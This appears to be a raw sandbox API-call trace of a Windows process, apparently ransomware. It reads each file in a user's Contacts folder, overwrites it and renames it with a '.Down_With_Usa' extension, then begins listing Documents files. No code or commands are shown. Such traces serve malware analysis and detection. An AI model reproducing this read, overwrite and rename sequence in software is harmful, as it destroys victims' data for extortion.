[0117.860] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x22b956a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4a0)) returned 1
[0117.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0117.860] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact.down_with_usa")) returned 1
[0117.861] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact", lpFilePart=0x0) returned 0x3c
[0117.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0117.861] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.862] GetFileType (hFile=0x3a8) returned 0x1
[0117.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0117.862] GetFileType (hFile=0x3a8) returned 0x1
[0117.863] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x496
[0117.863] ReadFile (in: hFile=0x3a8, lpBuffer=0x2693600, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x2693600*, lpNumberOfBytesRead=0x2ebe58*=0x496, lpOverlapped=0x0) returned 1
[0117.864] CloseHandle (hObject=0x3a8) returned 1
[0117.895] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact", lpFilePart=0x0) returned 0x3c
[0117.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0117.896] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.897] GetFileType (hFile=0x3a8) returned 0x1
[0117.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0117.897] GetFileType (hFile=0x3a8) returned 0x1
[0117.897] WriteFile (in: hFile=0x3a8, lpBuffer=0x2781778*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x2ebd78, lpOverlapped=0x0 | out: lpBuffer=0x2781778*, lpNumberOfBytesWritten=0x2ebd78*=0x4a0, lpOverlapped=0x0) returned 1
[0117.900] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact", lpFilePart=0x0) returned 0x3c
[0117.900] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.Down_With_Usa", lpFilePart=0x0) returned 0x4a
[0117.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0117.900] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x22c07ac0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4a0)) returned 1
[0117.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0117.900] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact.down_with_usa")) returned 1
[0117.902] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact", lpFilePart=0x0) returned 0x3c
[0117.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0117.902] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0117.905] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x494
[0117.905] ReadFile (in: hFile=0x3a8, lpBuffer=0x27830a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x27830a8*, lpNumberOfBytesRead=0x2ebe58*=0x494, lpOverlapped=0x0) returned 1
[0117.937] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact", lpFilePart=0x0) returned 0x3c
[0117.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0117.937] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0117.941] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact", lpFilePart=0x0) returned 0x3c
[0117.941] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.Down_With_Usa", lpFilePart=0x0) returned 0x4a
[0117.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0117.941] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x22c53d80, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4a0)) returned 1
[0117.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0117.942] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact.down_with_usa")) returned 1
[0117.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec080) returned 1
[0117.942] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x2ebb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27
[0117.942] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", nBufferLength=0x105, lpBuffer=0x2ebb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpFilePart=0x0) returned 0x28
[0117.943] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x2ebd20 | out: lpFindFileData=0x2ebd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdaa89f20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdaa89f20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0117.943] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdaa89f20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdaa89f20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0117.943] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9eff680, ftCreationTime.dwHighDateTime=0x1d5ddc1, ftLastAccessTime.dwLowDateTime=0x1416e490, ftLastAccessTime.dwHighDateTime=0x1d5d9aa, ftLastWriteTime.dwLowDateTime=0x1416e490, ftLastWriteTime.dwHighDateTime=0x1d5d9aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="-7ZVeclo4chRuWb-m d", cAlternateFileName="-7ZVEC~1")) returned 1
[0117.943] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb279140, ftCreationTime.dwHighDateTime=0x1d59d73, ftLastAccessTime.dwLowDateTime=0x23de10f0, ftLastAccessTime.dwHighDateTime=0x1d5da37, ftLastWriteTime.dwLowDateTime=0x23de10f0, ftLastWriteTime.dwHighDateTime=0x1d5da37, nFileSizeHigh=0x0, nFileSizeLow=0x100dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="0ynk2co-Oa6OkC4.pptx", cAlternateFileName="0YNK2C~1.PPT")) returned 1
[0117.943] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c6d45b0, ftCreationTime.dwHighDateTime=0x1d5601e, ftLastAccessTime.dwLowDateTime=0x90cde1a0, ftLastAccessTime.dwHighDateTime=0x1d57b8b, ftLastWriteTime.dwLowDateTime=0x90cde1a0, ftLastWriteTime.dwHighDateTime=0x1d57b8b, nFileSizeHigh=0x0, nFileSizeLow=0x9d29, dwReserved0=0x0, dwReserved1=0x0, cFileName="3M9 J2MIs-i26K3.xlsx", cAlternateFileName="3M9J2M~1.XLS")) returned 1
[0117.944] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd59392e0, ftCreationTime.dwHighDateTime=0x1d5dc15, ftLastAccessTime.dwLowDateTime=0x370a0080, ftLastAccessTime.dwHighDateTime=0x1d5e667, ftLastWriteTime.dwLowDateTime=0x370a0080, ftLastWriteTime.dwHighDateTime=0x1d5e667, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5ehfu7t1E3TB", cAlternateFileName="5EHFU7~1")) returned 1
[0117.944] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c6dc90, ftCreationTime.dwHighDateTime=0x1d57003, ftLastAccessTime.dwLowDateTime=0x93a3bdd0, ftLastAccessTime.dwHighDateTime=0x1d57f84, ftLastWriteTime.dwLowDateTime=0x93a3bdd0, ftLastWriteTime.dwHighDateTime=0x1d57f84, nFileSizeHigh=0x0, nFileSizeLow=0x5a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="aWtiCahM.pptx", cAlternateFileName="AWTICA~1.PPT")) returned 1
[0117.944] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8321530, ftCreationTime.dwHighDateTime=0x1d5a4bc, ftLastAccessTime.dwLowDateTime=0x74f8a7c0, ftLastAccessTime.dwHighDateTime=0x1d5c1d7, ftLastWriteTime.dwLowDateTime=0x74f8a7c0, ftLastWriteTime.dwHighDateTime=0x1d5c1d7, nFileSizeHigh=0x0, nFileSizeLow=0x10683, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiAOgIqfyBwAbK406MX.pptx", cAlternateFileName="CIAOGI~1.PPT")) returned 1
[0117.945] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0117.945] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c43f50, ftCreationTime.dwHighDateTime=0x1d5c7d2, ftLastAccessTime.dwLowDateTime=0xce4c82f0, ftLastAccessTime.dwHighDateTime=0x1d5d484, ftLastWriteTime.dwLowDateTime=0xce4c82f0, ftLastWriteTime.dwHighDateTime=0x1d5d484, nFileSizeHigh=0x0, nFileSizeLow=0xad2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="g1DQq3TE.xlsx", cAlternateFileName="G1DQQ3~1.XLS")) returned 1
[0117.945] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0638210, ftCreationTime.dwHighDateTime=0x1d55ec4, ftLastAccessTime.dwLowDateTime=0xd760d390, ftLastAccessTime.dwHighDateTime=0x1d59b00, ftLastWriteTime.dwLowDateTime=0xd760d390, ftLastWriteTime.dwHighDateTime=0x1d59b00, nFileSizeHigh=0x0, nFileSizeLow=0x7a0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="gbhinf.docx", cAlternateFileName="GBHINF~1.DOC")) returned 1
[0117.945] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0c5ff0, ftCreationTime.dwHighDateTime=0x1d56afd, ftLastAccessTime.dwLowDateTime=0xa6f66e80, ftLastAccessTime.dwHighDateTime=0x1d5c5b8, ftLastWriteTime.dwLowDateTime=0xa6f66e80, ftLastWriteTime.dwHighDateTime=0x1d5c5b8, nFileSizeHigh=0x0, nFileSizeLow=0xa512, dwReserved0=0x0, dwReserved1=0x0, cFileName="H8ivmRdRUdGkJ.pptx", cAlternateFileName="H8IVMR~1.PPT")) returned 1
[0117.945] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ebad40, ftCreationTime.dwHighDateTime=0x1d57ea4, ftLastAccessTime.dwLowDateTime=0xe6e60b20, ftLastAccessTime.dwHighDateTime=0x1d58145, ftLastWriteTime.dwLowDateTime=0xe6e60b20, ftLastWriteTime.dwHighDateTime=0x1d58145, nFileSizeHigh=0x0, nFileSizeLow=0x1379, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDFOI5o_3T4O.xlsx", cAlternateFileName="IDFOI5~1.XLS")) returned 1
[0117.945] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41fb7760, ftCreationTime.dwHighDateTime=0x1d5b8dd, ftLastAccessTime.dwLowDateTime=0x70ae1810, ftLastAccessTime.dwHighDateTime=0x1d5b108, ftLastWriteTime.dwLowDateTime=0x70ae1810, ftLastWriteTime.dwHighDateTime=0x1d5b108, nFileSizeHigh=0x0, nFileSizeLow=0x1780f, dwReserved0=0x0, dwReserved1=0x0, cFileName="IUEU zajv8i.pptx", cAlternateFileName="IUEUZA~1.PPT")) returned 1
[0117.946] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0b5e0d0, ftCreationTime.dwHighDateTime=0x1d57817, ftLastAccessTime.dwLowDateTime=0x9a1f8150, ftLastAccessTime.dwHighDateTime=0x1d5b100, ftLastWriteTime.dwLowDateTime=0x9a1f8150, ftLastWriteTime.dwHighDateTime=0x1d5b100, nFileSizeHigh=0x0, nFileSizeLow=0xf4fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="JBaHIgAqTJA.xlsx", cAlternateFileName="JBAHIG~1.XLS")) returned 1
[0117.946] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92dce0, ftCreationTime.dwHighDateTime=0x1d5b6ce, ftLastAccessTime.dwLowDateTime=0x3b3de6e0, ftLastAccessTime.dwHighDateTime=0x1d583a6, ftLastWriteTime.dwLowDateTime=0x3b3de6e0, ftLastWriteTime.dwHighDateTime=0x1d583a6, nFileSizeHigh=0x0, nFileSizeLow=0x163d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="kyGGi7Mewmm.docx", cAlternateFileName="KYGGI7~1.DOC")) returned 1
[0117.946] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb8876e0, ftCreationTime.dwHighDateTime=0x1d5d827, ftLastAccessTime.dwLowDateTime=0xa14dd140, ftLastAccessTime.dwHighDateTime=0x1d5e5c4, ftLastWriteTime.dwLowDateTime=0xa14dd140, ftLastWriteTime.dwHighDateTime=0x1d5e5c4, nFileSizeHigh=0x0, nFileSizeLow=0xd9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="m66qahNRMTKLGBLHJw.ods", cAlternateFileName="M66QAH~1.ODS")) returned 1
[0117.946] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1
[0117.947] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1
[0117.947] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1
[0117.947] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1
[0117.947] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1
[0117.947] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe334dcf0, ftCreationTime.dwHighDateTime=0x1d5e440, ftLastAccessTime.dwLowDateTime=0xd14b5490, ftLastAccessTime.dwHighDateTime=0x1d5de07, ftLastWriteTime.dwLowDateTime=0xd14b5490, ftLastWriteTime.dwHighDateTime=0x1d5de07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OZ1hK", cAlternateFileName="")) returned 1
[0117.948] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55d9c370, ftCreationTime.dwHighDateTime=0x1d56cdb, ftLastAccessTime.dwLowDateTime=0x58ad0f20, ftLastAccessTime.dwHighDateTime=0x1d57367, ftLastWriteTime.dwLowDateTime=0x58ad0f20, ftLastWriteTime.dwHighDateTime=0x1d57367, nFileSizeHigh=0x0, nFileSizeLow=0x8b0e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pzk5f8oRu5.docx", cAlternateFileName="PZK5F8~1.DOC")) returned 1
[0117.948] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b072030, ftCreationTime.dwHighDateTime=0x1d5a88b, ftLastAccessTime.dwLowDateTime=0xf5f79c20, ftLastAccessTime.dwHighDateTime=0x1d5bcb7, ftLastWriteTime.dwLowDateTime=0xf5f79c20, ftLastWriteTime.dwHighDateTime=0x1d5bcb7, nFileSizeHigh=0x0, nFileSizeLow=0x9e20, dwReserved0=0x0, dwReserved1=0x0, cFileName="RROSpJzOY.xlsx", cAlternateFileName="RROSPJ~1.XLS")) returned 1
[0117.948] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaafa0270, ftCreationTime.dwHighDateTime=0x1d5d7ed, ftLastAccessTime.dwLowDateTime=0x4c10fb20, ftLastAccessTime.dwHighDateTime=0x1d5d88c, ftLastWriteTime.dwLowDateTime=0x4c10fb20, ftLastWriteTime.dwHighDateTime=0x1d5d88c, nFileSizeHigh=0x0, nFileSizeLow=0x111b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="sNUw0vqjwlQLBuBn7.pps", cAlternateFileName="SNUW0V~1.PPS")) returned 1
